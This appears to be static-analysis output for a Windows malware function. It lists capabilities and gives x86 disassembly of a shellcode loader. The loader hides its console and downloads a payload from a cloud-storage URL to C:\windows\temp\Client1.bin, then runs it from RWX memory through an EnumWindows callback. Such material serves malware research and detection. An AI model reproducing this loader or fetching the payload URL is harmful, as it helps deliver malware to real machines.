Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create http request
Download and write a file
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Hide graphical window
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x408
mov eax, dword [0x429cc0]
xor eax, esp
mov dword [esp + 0x404], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call esi
push 0
push 0xf020
push 0x112
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x258
call esi
push 0x258
call esi
push 0x3c
call esi
push 0x258
call esi
push 0
push 0
push 0
push 1
push str.File_Downloader
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
jne 0x4010a2
push str.Failed_to_initialize_WinINet_library_n
call fcn.0040d4f1
add esp, 4
push 0x258
call esi
pop esi
lea eax, [ebx + 1]
pop ebx
mov ecx, dword [esp + 0x404]
xor ecx, esp
call fcn.0040d353
add esp, 0x408
ret
push edi
push 0x3c
call esi
push 0
push 0x84000100
push 0
push 0
push str.https:__wwwkfc22k_1322353970.cos.ap_chengdu.myqcloud.com_kfc22f_2.bin
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
jne 0x4010ff
push str.https:__wwwkfc22k_1322353970.cos.ap_chengdu.myqcloud.com_kfc22f_2.bin
push str.Failed_to_open_URL__s_n
call fcn.0040d4f1
add esp, 8
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x258
call esi
lea eax, [edi + 1]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x404]
xor ecx, esp
call fcn.0040d353
add esp, 0x408
ret
push ebp
push 0x258
call esi
push 0x4248d4
push str.C:windows_tempClient1.bin
call fcn.0040d67a
add esp, 8
push 0x3c
mov ebx, eax
call esi
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [esp + 0x10]
push eax
push 0x400
lea ecx, [esp + 0x1c]
push ecx
push edi
call ebp
test eax, eax
je 0x40116f
jmp 0x401140
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x40116f
push ebx
push eax
lea edx, [esp + 0x1c]
push 1
push edx
call fcn.0040d7f3
add esp, 0x10
lea eax, [esp + 0x10]
push eax
push 0x400
lea ecx, [esp + 0x1c]
push ecx
push edi
call ebp
test eax, eax
jne 0x401140
push ebx
call fcn.0040d8ec
add esp, 4
push 0x258
call esi
push 0x258
call esi
push 0x4248d8
push str.C:windows_tempClient1.bin
call fcn.0040d67a
add esp, 8
push 0x3c
mov ebx, eax
call esi
push 2
push 0
push ebx
call fcn.0040d9f2
add esp, 0xc
push 0x258
call esi
push ebx
call fcn.0040dc14
add esp, 4
push 0x258
mov edi, eax
call esi
push 0
push 0
push ebx
call fcn.0040d9f2
add esp, 0xc
push 0x258
call esi
push edi
call fcn.0040dcd1
add esp, 4
push 0x258
mov ebp, eax
call esi
push ebx
push 1
push edi
push ebp
call fcn.0040e03b
add esp, 0x10
push 0x258
call esi
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x258
mov ebx, eax
call esi
push edi
push ebp
push edi
push ebx
call fcn.0040e058
add esp, 0x10
push 0x258
call esi
push 0
push ebx
call dword [sym.imp.USER32.dll_EnumWindows]
push 0x258
call esi
mov ecx, dword [esp + 0x414]
pop ebp
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040d353
add esp, 0x408
ret